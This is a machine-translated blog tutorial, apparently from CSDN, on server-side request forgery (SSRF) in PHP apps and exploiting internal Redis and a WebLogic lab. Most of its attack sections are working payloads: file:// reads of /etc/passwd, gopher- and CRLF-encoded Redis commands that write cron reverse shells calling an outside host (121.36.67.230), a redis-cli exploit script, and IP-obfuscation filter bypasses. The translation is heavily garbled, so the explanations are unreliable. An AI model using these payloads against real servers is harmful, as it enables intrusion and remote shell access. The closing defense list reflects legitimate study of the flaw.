SSRFは、脆弱性とネットワーク攻撃のアプリケーションを利用します

預言者コミュニティで開始

0x00の序文

学んだCSRFの脆弱性の後、多くのことを学びました。SSRFもCSRFの脆弱性や抜け穴が同様の少しを持っていました。
クライアントのリクエストフォージェリをもとにCSRF CSRF;偽造リクエストサーバベースのSSRFサーバ側のリクエストフォージェリ、。
それは最初SSRFの脆弱性にそれを学習への道にまだあるのでSSRFので、学ぶことではありません!

0x01のSSRFの脆弱性プロファイル

1.SSRFの脆弱性の概要
SSRF(サーバー側リクエストフォージェリ:サーバー側のリクエストフォージェリ)は、攻撃者による構築物は、サーバによって要求を開始したセキュリティ侵害を形成しています。
一般的に、攻撃SSRFの目標は、ネットワークの外部からアクセスすることはできません内部系统(それは、サーバによって開始されるので、それは、それが外部ネットワークから接続し、隔離されたネットワークを要求することができる。すなわち、ネットワークサービス要求を活用することができ、攻撃の踏み台として)
ここに画像を挿入説明
2.SSRF脆弱性の原因
その理由は、SSRFサーバーの形成に宛先アドレスにフィルタと制限を持っていない他のサーバーやアプリケーションからデータを取得する機能を提供するため、多くの場合です。
以下のような:指定されたアドレスの画像、ダウンロードなどが指定されたURLアドレスの負荷からWebページのテキストの内容を取得します。これは、サーバー側のリクエストフォージェリの使用です。SSRFは使用することがあり存在缺陷的web应用作为代理、リモートサーバーとローカルの攻撃を。

3. SSRFしやすい地域

  1. トランスコーディングサービス
  2. 翻訳者
  3. 画像の読み込みおよびダウンロード(URLアドレスやダウンロード画像を使ってロード)
  4. 写真、記事収集機能
  5. 用地取得、ローカルのWebクロール。
  6. アバター場所。(リモートローディング画像)
  7. すべてはあなたがIPと場所を入力することができますURLを入力する必要があります。
  8. URLのから見るとshareキーワード:wapurllinksrcsourcetargetu3gdisplaysourceURlimageURL、、domain
    ...

4. SSRFは攻撃を達成することができます

  1. 外部ネットワークは、ネットワーク内のサーバが存在するが、ローカルポートスキャンは、いくつかのサービスを取得することができますバナー情報を
  2. 内部ネットワークを攻撃するか、ローカルで実行するアプリケーション
  3. デフォルトのファイルにアクセスすることにより:(READMEファイルなど)を達成するために、内部ネットワークのWebアプリケーションをフィンガープリント
  4. 主にGETパラメータを使用して、ネットワーク内部及び外部ウェブアプリケーション攻撃は、(:Struts2の、SQLIなど)攻撃を達成することができます
  5. (のような:の使用をダウンロード内部ネットワークリソースfileなど、ローカルファイルプロトコルを読んで)
  6. スプリングボード
  7. CDNを無視
  8. getshellを達成するために使用Redisの不正アクセス、HTTP CRLFインジェクション

0x02のSSRFの脆弱性に関連する機能とプロトコル

1.機能
file_get_contents()fsockopen()curl_exec()fopen()readfile()およびその他の機能不適切な使用はSSRFの脆弱性が発生することができます
(1)のfile_get_contents()を

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

file_get_content機能は、ユーザーが指定したURLから取得した後、Jを保存するファイル名を指定して、ユーザに提示します。file_put_content関数は、文字列ファイルを書き込みます。

(2)fsockopenの()

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
		echo "$errstr (error number $errno) \n"; 
	} else { 
		$out = "GET $link HTTP/1.1\r\n"; 
		$out .= "Host: $host\r\n"; 
		$out .= "Connection: Close\r\n\r\n"; 
		$out .= "\r\n"; 
		fwrite($fp, $out); 
		$contents=''; 
		while (!feof($fp)) { 
			$contents.= fgets($fp, 1024); 
		} 
		fclose($fp); 
		return $contents; 
	} 
}
?>

fsockopenユーザデータを取得するの特定の機能を実現するURL、機能は、サーバーのデータ伝送との接続を確立するTCPソケット(ポート)を使用しています。変数ホストは、ホスト名、ポートのポート、エラーメッセージを示すerrstrは情報が返される文字列を、30の限界であります

(3)curl_exec()

<?php 
if (isset($_POST['url'])){
	$link = $_POST['url'];
	$curlobj = curl_init();// 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
	$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
	curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
 
	$filename = './curled/'.rand().'.txt';
	file_put_contents($filename, $result); 
	echo $result;
}
?>

curl_exec指定されたセッションを実行するための機能のcURL

ご注意ください

1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议

2.プロトコル
(1) file状況のエコーの場合は、任意のコンテンツ読み取るためにファイルプロトコルを使用して
(2) dictインストールソフトウェアのバージョン等、営業のRedisネットワークサービス内、ポートを参照してください、情報を漏洩した
(3) gopherゴーファーサポートはGETを作ります、POSTリクエスト:最初の要求パケットキャプチャを取得し、要求パケットを投稿することができ、その後、要求Gopherプロトコルを満たすように構成します。SSRF使用Gopherプロトコルは、(一般的にユニバーサルプロトコルとして知られている)最も強力なプロトコルの一つです。これは、バウンスシェルに使用することができる
(4) http/s検出ネットワークホスト生存

0x03のSSRF悪用

ローカル使用

カールに例えば、サポートされているプロトコルの一覧を表示カールcurl -VローカルUSE
(1)ファイルプロトコルを使用してプロトコルファイル(ファイルがどれかを読んで)

curl -vvv 'file:///etc/passwd'

(2)プロトコル辞書の辞書プロトコルを使用して(構成情報取得Redisの)

curl -vvv 'dict://127.0.0.1:6379/info'

(3)(一般に汎用プロトコルとして知られている)GopherプロトコルGopherプロトコル(キーリバウンドバッシュ)を用い

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

リモートから悪用可能

1、環境

攻撃機のIP:192.168.201.129,121.36.67.230
攻撃機:カーリー、公開サーバ
リモートサーバのIP:39.xxx
ドッカーミラー:ssrf_redis
PHPバージョン:PHPバージョン7.2.28(テストの5.6バージョンは失敗します)

2、遠隔サンプルコードの使用

ssrf.php

<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); ////关闭 cURL 资源,并且释放系统资源
?>

post.php

<html>
<head>
    <title>post</title>
</head>
<body>
    <?php
    echo $_REQUEST[cmd];
    ?>
</body>
</html>
3、遠隔利用パターン

1.使用したfileプロトコル
の任意の原稿読取のを

curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'

ここに画像を挿入説明
2. dict契約
ポートサービス上の(1)ビューポートのバージョン情報と実行

curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'

ここに画像を挿入説明
DESCRIPTIONオープンポート22
のdictプロトコルgetshell(2)
辞書プロトコルに関する:リクエストサーバポートへのコマンド:パラメータ、および自動充填の終了時\r\n(CRLF)。
一つ一つ、及びライン上でコマンドを実行するためにGopherプロトコルを実行する辞書プロトコル。
ここに画像を挿入説明
それを実行するために一つずつ。
3. gopher契約
ネットワーク攻撃内の(1)とリバウンドシェルRedisのは
RedisのRedisの不正アクセス攻撃を使用します
攻击redis的exp

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379

これにより、データをキャプチャし、変換し
、以下のように変換規則を:
最初の文字である場合>、または<要求および戻り時間を表す行の文字列を破棄し、その後。
最初の3つの文字がOK + OKであれば、返される文字列を表す文字列を破棄します。置換文字列の空白行が交換されます
\r%0d%0a
%0a

変換結果データは、次に、シェルを反発することができる上部捕捉を用いて結合ネットワークRedisの内Gopherプロトコル攻撃:

curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

ここに画像を挿入説明
ここに画像を挿入説明
ラリーの成功は
http://39.x.x.x:8000/ssrf.phpSSRF Webサービスの脆弱性の存在である
192.168.1.4IPネットワークはRedisのアプリケーション内
121.36.67.230リバウンドシェルを受け、公衆ネットワークサーバである
(2)ポストリクエストフォージェリのリバウンドシェル

curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'

ここに画像を挿入説明
ここに画像を挿入説明
ラリーの成功は、
192.168.1.5Webサービスのネットワークであり、post.phpがある
4.のhttp/sプロトコル
内部ホストを検出するためには、生き残った
ここに画像を挿入説明
ネットワークIPのための指示192.168.1.3ホストの生存を

0x04のSSRF実用的なアプリケーション攻撃

1、gopherの攻撃のRedis

リファレンスリモートで3. gopher契約

2は、WebLogic SSRF攻撃のRedis

CVE-2014-4210
をダウンロードします。https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
コンパイルおよびスタートアップ環境

docker-compose build
docker-compose up -d

SSRFの脆弱性が存在しているにhttp://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
表示1.ポート
アクセス

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
//测试http://127.0.0.1:7001:将80替换成7001

ここに画像を挿入説明
オープンポート80記載し、接続しないではない
ここに画像を挿入説明
ポート開口説明、リターン404は、
2内部ホスト生存の検出
ここに画像を挿入説明
にDESCRIPTIONネットワークIPを192.168.1.1ホスト生存
Redisのリバウンドシェルを使用して3. HTTPヘッダインジェクション、
見つかったネットワークでSSRF Redisのサーバーを検出することにより172.22.0.2:6379は通信することができる
遠隔の上面とほぼ同じにして使用します。
ここに画像を挿入説明
の/ etc / crontabのスケジュールされたタスクで書かれたリバウンドシェルスクリプト

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

URLエンコードします

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

改行文字は"%0Dの%0Aの"に置き換える"\ rを\ n"はあります。ドメイン名はSSRF送信にエンコードされたURLの文字列が続く
ここに画像を挿入説明
成功リバウンド
ここに画像を挿入説明

0x05のSSRFは、バイパスへの脆弱性関連しました

1、従来のバイパス法

1. @

http://[email protected]
实际上是以用户名abc连接到站点127.0.0.1,同理
http://[email protected]:8080、http://127.0.0.1#8.8.8.8

ドメイン名の解決のうち、@など、さまざまな処理機能の処理の違いは、あります:
http://[email protected]@www.ccc.com
PHPの中でparse_url認識www.ccc.com、となりますlibcurリットルはwww.bbb.comとして識別される
2.使用して、[::]
を利用することができる[::]程度にあまりにもローカルホスト

http://[::]:80/  >>>  http://127.0.0.1

ポート番号を追加します。3.

http://127.0.0.1:8080

4.短いURL
ウェブマスターツールの短いURL
Baiduの短いURL
5.特別なドメインの
原理はDNS解決です。xip.ioは、任意のドメイン名のことを指すことができます

127.0.0.1.xip.io,可解析为127.0.0.1

6. DNS解決
記録領域Aに設けられた、ポイント127.0.1
7.六角変換

127.0.0.1
進:0177.0.0.1
六角:0x7f.0.0.1
進:2130706433

8.期間

127001  >>>  127.0.0.1

9.302ジャンプ
使用してジャンプアドレス生成https://tinyurl.com 302

図2に示すように、共通の制限

1. http://www.xxx.comドメイン名に限定
HTTP基本認証方式を使用してバイパスします。@その
http://[email protected]
2.制限はIPアドレスがネットワーク内にない要求
ネットワークは、IPアドレスが許可されていないとき
にバイパスに(1)を、短いURLをとる
(2)特別なドメイン名を取る
(3)進変換を取る
3.制限事項が唯一のhttpプロトコルを要求
(1)302ジャンプ採取
(2)ショートアドレスを取ります

0x06のSSRFの抜け穴防衛

1、不要なプロトコルを無効にする(例:file:///gopher://dict://など)。HTTPおよびHTTPSだけが要求許可する
ポートのステータスを決定するために、エラー情報を防止するため、2、統一されたエラーメッセージを
最後のURLまでは、新しいネットワークがホストIPであるかどうかをチェックし、302はジャンプを禁止、またはたびにジャンプ、3
、4内部ネットワークのIPを制限するホワイトリストまたはセットURL

0x07のあとがき

学習プロセスSSRFでは、公衆ネットワークサーバーに、このようなバウンスシェルとしていくつかの問題に遭遇し、エクスプロイト長時間投げます。しかし、最終的にこの問題を克服します。同時に、SSRFの脆弱性を学習することにより、見つかった抜け穴を利用CSRFの脆弱性の限界よりも、本当に小さいSSRF、とSSRFの脆弱性いくつかのアプリケーション内部ネットワークの害は比較的大きいです。そのため、開発プロセスでは、SSRFの脆弱性を回避しようとします。

参考ブログ:
SSRFの脆弱性研究
SSRF -のWebLogic vulhubリプレイやネットワーク攻撃のRedisの()内の脆弱性
SSRF攻撃ネットワークアプリケーション内で
SSRFバイパス方法

公開された59元の記事 ウォン称賛29 ビュー10000 +

おすすめ

転載: blog.csdn.net/qq_43625917/article/details/104528645